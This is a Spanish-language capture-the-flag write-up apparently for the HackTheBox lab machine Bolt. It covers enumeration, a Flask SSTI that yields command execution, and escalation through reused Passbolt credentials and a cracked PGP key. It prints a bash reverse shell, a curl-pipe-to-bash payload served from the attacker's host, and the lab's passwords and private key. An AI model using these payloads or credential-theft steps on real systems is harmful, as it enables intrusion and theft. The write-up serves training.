> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md).

# Resolución de HackTheBox Bolt

{% embed url="<https://app.hackthebox.com/machines/384>" %}

{% hint style="warning" %}
**Habilidades:**

* Fuga de información
* Enumeración de subdominios
* SSTI (Inyección de plantillas del lado del servidor)
* Abusando de PassBolt
* Abusando de GPG
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/338d03fbe6d8a02bb83be9e07fd013e2f6c9daa0" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/206b63795d72a16415ccd99960eff651c5672a62" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts
```

<figure><img src="/files/db7b683cd1c85bd5afbb4002807ca7f813877a15" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22,80,443)

<figure><img src="/files/356319b756c758b160f41e9e176efb8be336b808" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80,443 10.10.11.114 -oN targeted
```

<figure><img src="/files/83c3a99362dc3e4ee63fbfb638f30ed5606a28bd" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/52da664eaca18949e592f5854a825cad410179d5" alt="" width="563"><figcaption></figcaption></figure>

### Puerto 80

<figure><img src="/files/6c54d3622aaa3d02a8e393b7b99bfb8a1800dea3" alt=""><figcaption></figcaption></figure>

Intentamos crear una cuenta, pero recibimos un "Internal Server Error".

<figure><img src="/files/56d7a6e38e5f2be797c6666d100261d2990a5239" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/434248a935024df53a1bd477a8434ceb55534bfe" alt=""><figcaption></figcaption></figure>

**Lista de posibles usuarios:**

* Joseph Garth
* Bonnie Green
* Jose Leos

<figure><img src="/files/b4f004628ec3a35d56af7deb736b2e3be3943ec9" alt=""><figcaption></figcaption></figure>

Se nos ofrece descargar un `.tar` imagen de Docker, que incluye un paquete web básico para iniciar un proyecto con un diseño elegante.

<figure><img src="/files/e8c8ee1bdff5ca3115326a5b4917e942e878fb2b" alt=""><figcaption></figcaption></figure>

**Búsqueda de directorios:**

Realizamos una búsqueda de directorios con `gobuster`:

```bash
gobuster dir -u http://bolt.htb  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

No se encontró nada interesante.

<figure><img src="/files/d570c8cd39bb46d7d0bd4eb749b6e0d87623efa2" alt=""><figcaption></figcaption></figure>

**Búsqueda de subdominios:**

Buscamos subdominios con `gobuster`:

```bash
gobuster vhost -u http://bolt.htb  --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Subdominios encontrados:

* `demo.bolt.htb`
* `mail.bolt.htb`

<figure><img src="/files/a185c997e897714c99584d4664983840a9fca956" alt=""><figcaption></figcaption></figure>

Los añadimos al `/etc/hosts` archivo.

<figure><img src="/files/9a24d73a9a093f6cd0d45dc974e730aa1b921cc6" alt="" width="563"><figcaption></figcaption></figure>

**`http://mail.blolt.htb`**

<figure><img src="/files/3696b1d47b9c264d70d8790871e0a569a01802f4" alt="" width="563"><figcaption></figcaption></figure>

**`http://demo.bolt.htb:`**

<figure><img src="/files/14798d30f94c6f57d133ca05f6db37c09b18d89c" alt="" width="563"><figcaption></figcaption></figure>

### Fuga de información (image.tar)

Buscamos información sensible en el archivo Docker `.tar` que contiene carpetas con el archivo `json`, archivo `layer.tar` y versión.

<figure><img src="/files/cf3b06ad4c4fc12e24685d40c7a4c8bf3abff725" alt=""><figcaption></figcaption></figure>

**Extracción de archivos:**

Extraemos los archivos de `layer.tar` de la siguiente manera:

```bash
mkdir extracted_layers
```

```bash
find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /;
```

<figure><img src="/files/16b559389400b1b357fb98bdd2b0208f8634f55d" alt=""><figcaption></figcaption></figure>

Abrimos el `db.sqlite3` base de datos:

```sql
sqlite3 db.sqlite3 

.tables
Seleccionar * from user
```

Encontramos un usuario `admin` con una contraseña hasheada:

* `id`: Identificador único de usuario.
* `username`: Nombre de usuario (`admin` en este caso).
* `correo electrónico`: Dirección de correo asociada (`admin@bolt.htb`).
* `contraseña`: Contraseña hasheada (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

<figure><img src="/files/775a09c941bed6024e1d2529372ac6aaf3a12553" alt="" width="468"><figcaption></figcaption></figure>

Desciframos la contraseña con `john`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:deadbolt`

<figure><img src="/files/73dc434f9a1232d970b4374570f474cd71e8235d" alt="" width="563"><figcaption></figcaption></figure>

Iniciamos sesión en el panel de administrador, pero no encontramos nada interesante salvo que usa Flask.

<figure><img src="/files/7c8cd7130079cc7dd074b1bfeae7cde1de43e5e0" alt=""><figcaption></figcaption></figure>

**Búsqueda del código de invitación:**

<figure><img src="/files/e8e079a4db326dbec206f65f9acced35d61c2252" alt="" width="529"><figcaption></figcaption></figure>

Buscamos el código de invitación en los archivos extraídos:

```bash
grep -ri "invite_code" .
```

<figure><img src="/files/466b91e732967afc5ccdade4f6c7c85f2ff2cf53" alt=""><figcaption></figcaption></figure>

Un archivo Python contiene el código de invitación:

`XNSS-HSJW-3NGU-8XTJ`

<figure><img src="/files/9226fb926c3855e6cffc41dbdd63757b01118942" alt=""><figcaption></figcaption></figure>

Creamos una nueva cuenta de usuario `usuario` con la contraseña `Jordan1234`, luego tenemos acceso a la bandeja de entrada y a la demo del panel de administrador.

<figure><img src="/files/e36ef7cb8d72a66a367d685dbfffa17c8ff3d516" alt="" width="563"><figcaption></figcaption></figure>

* `usuario: jordan`
* `contraseña: Jordan1234`

<figure><img src="/files/61390249b3004ce807eea7773dd649f8dad9ff69" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/708e324a99f56b991d009b22baaca3196e17d512" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad SSTI :

Al revisar la configuración, notamos que si cambiamos el nombre de nuestra configuración, se envía un correo de confirmación. Esto podría ser una oportunidad para un ataque SSTI.

<figure><img src="/files/4af1450fce960aa50ceba6abd3a80a54224acca2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3122a07cb0c6a7c4fa300a421fb81f9ec5961031" alt=""><figcaption></figcaption></figure>

Probamos con una carga útil típica:

```bash
{{ 9*9 }}
```

Si el resultado es `81`, la aplicación es vulnerable.

<figure><img src="/files/0c0ec94cd2d2f08cbac8baf51c31e197dae4b10e" alt=""><figcaption></figcaption></figure>

Confirmamos que la aplicación es vulnerable y probamos la inyección de comandos con una carga útil de `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

ID del pedido:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

<figure><img src="/files/b81a260c38a21cdd932ba38e3e0aa0e678745cd1" alt=""><figcaption></figcaption></figure>

Logramos ejecutar una reverse shell escuchando en el puerto 443:

```bash
nc -nlvp 443
```

Creamos un `index.html` archivo con el siguiente contenido para ejecutar una reverse shell

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Luego iniciamos un servidor HTTP con Python:

```bash
python3 -m http.server 80
```

Enviamos la carga útil con `curl` para recuperar y ejecutar el comando:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```

<figure><img src="/files/a9c8a01ffc5bc56d74aee1759e995c4db4a8c6e0" alt=""><figcaption></figcaption></figure>

**Estabilización de terminal :**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabiliza la shell para trabajar más cómodamente. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilegios :

Como usuario `www-data`, estamos intentando elevar nuestros privilegios para obtener acceso root.

### Enumeración inicial con LinPEAS

Usaste LinPEAS para identificar posibles vulnerabilidades en el sistema.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases>" %}

Comandos ejecutados:

```bash
python3 -m http.server 555
```

```bash
wget http://10.10.14.3:555/linpeas.sh
```

<figure><img src="/files/bab6e5ab074dfed40613105c9cf22ea370c0744a" alt=""><figcaption></figcaption></figure>

LinPEAS reveló un archivo de configuración que contiene información sensible:

`/etc/passbolt/passbolt.php`

* `host :localhost`
* `port : 3306`
* `username : passbolt`
* `password : rT2;jW7<eY8!dX8}pQ8%`
* `database : passboltdb`

<figure><img src="/files/01a5a97c8e54543f984abdfe467d710bec539bff" alt=""><figcaption></figcaption></figure>

### **Conexión a la base de datos MySQL**

Usando la información para conectarnos a la base de datos:

```bash
mysql -h localhost -P 3306 -u passbolt -p 

rT2;jW7<eY8!dX8}pQ8%
```

#### **Análisis de las tablas en la base de datos**

<figure><img src="/files/d54afa79015909d456daf34389afcb4cd3c8c8d6" alt=""><figcaption></figcaption></figure>

* **`users`**: Contiene usuarios.

<table data-header-hidden data-full-width="true"><thead><tr><th width="125"></th><th width="112"></th><th width="124"></th><th width="101"></th><th width="109"></th><th width="110"></th><th></th></tr></thead><tbody><tr><td><code>id</code></td><td><code>role_id</code></td><td><code>username</code></td><td><code>activo</code></td><td><code>eliminado</code></td><td><code>creado</code></td><td><code>modificado</code></td></tr><tr><td><code>4e184ee6-e436-47fb-91c9-dccb57f250bc</code></td><td><code>1cfcd300-0664-407e-85e6-c11664a7d86c</code></td><td><code>eddie@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:42:50</td><td>2021-02-25 21:55:06</td></tr><tr><td><code>9d8a0452-53dc-4640-b3a7-9a3d86b0ff90</code></td><td><code>975b9a56-b1b1-453c-9362-c238a85dad76</code></td><td><code>clark@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:40:29</td><td>2021-02-25 21:42:32</td></tr></tbody></table>

* **`secretos`**: Mensajes cifrados (potencialmente explotables más adelante).

<figure><img src="/files/2157e9b04bfd88bb65a84c65a07f3aa73ff6ea39" alt=""><figcaption></figcaption></figure>

* **`gpgkeys`**: Contiene claves públicas (se pueden usar en ciertos escenarios).

<figure><img src="/files/2b4bf8ab4ca287916b1d6cf7db215cf44c7365b0" alt=""><figcaption></figcaption></figure>

Intentando conectarse con `eddie`:

```bash
su eddie
```

* **Contraseña**: `rT2;jW7<eY8!dX8}pQ8%`
* Acceso al usuario `eddie` obtenido

### Bandera user.txt :)

<figure><img src="/files/8f9bac161f1decea79511bef6e5514e7f9ffb460" alt="" width="563"><figcaption></figcaption></figure>

### Reutilizando LinPEAS (usuario eddie)

Después de obtener acceso al usuario `eddie`, reutilizamos **LinPEAS** para explorar el sistema en busca de posibles claves SSH u otras pistas útiles.

<figure><img src="/files/eacc49720bb789268d57fb4a8cbf9881bc992673" alt=""><figcaption></figcaption></figure>

**Archivo encontrado**: Un archivo de registro que contiene posibles claves SSH:

`/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

<figure><img src="/files/f32734b79496167feef50e06820213ef32624e33" alt=""><figcaption></figcaption></figure>

### Descifrado de mensajes con GPG

**Clave privada GPG**: Usamos la **GPG** herramienta para importar la clave privada e intentar descifrar el mensaje cifrado en el `secretos` tabla de la `passboltdb` base de datos.

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
```

#### Extracción del hash de la clave privada

Para poder usar la clave privada, primero debemos obtener su **hash**. Usamos la **gpg2john** herramienta para extraer el hash de la clave privada:

```bash
gpg2john private.key > hash
```

<figure><img src="/files/2ea4bbe3dc21b0f5eba38a079d08e7aa204ec4da" alt=""><figcaption></figcaption></figure>

**Fuerza bruta de la contraseña de la clave privada con `john`**

Usamos **John the Ripper** para realizar un ataque de diccionario y descubrir la contraseña de la clave privada. Usamos la lista de palabras **rockyou.txt** para ello:

```bash
john -wordlist=/usr/share/wordlists/rockyou.txt hash
```

**Contraseña encontrada**: `merrychristmas`

<figure><img src="/files/426764ae6b0a18502ae18f7cfb6daff3e6412985" alt=""><figcaption></figcaption></figure>

#### Importación de la clave privada y descifrado del mensaje

Importamos la clave privada con **gpg**

```bash
gpg --import private.key
```

<figure><img src="/files/354c803edbce79cc89395883cdc208a405352488" alt=""><figcaption></figcaption></figure>

Luego, desciframos el mensaje cifrado (probablemente contenido en el `message.txt` archivo recuperado de la `secretos` base de datos):

```bash
gpg --decrypt message.txt
```

**Contraseña de root encontrada**: `Z(2rmxsNW(Z?3=p/9s`

<figure><img src="/files/0c0d4a2572a5b9ad77818148d08b16c57b847fff" alt=""><figcaption></figcaption></figure>

### Bandera root.txt

<figure><img src="/files/be9b4edc186474f607c2a0de6db1b9310b45f56c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a3673bde601dafa42e1c08ce8a04a37140e5c13c" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
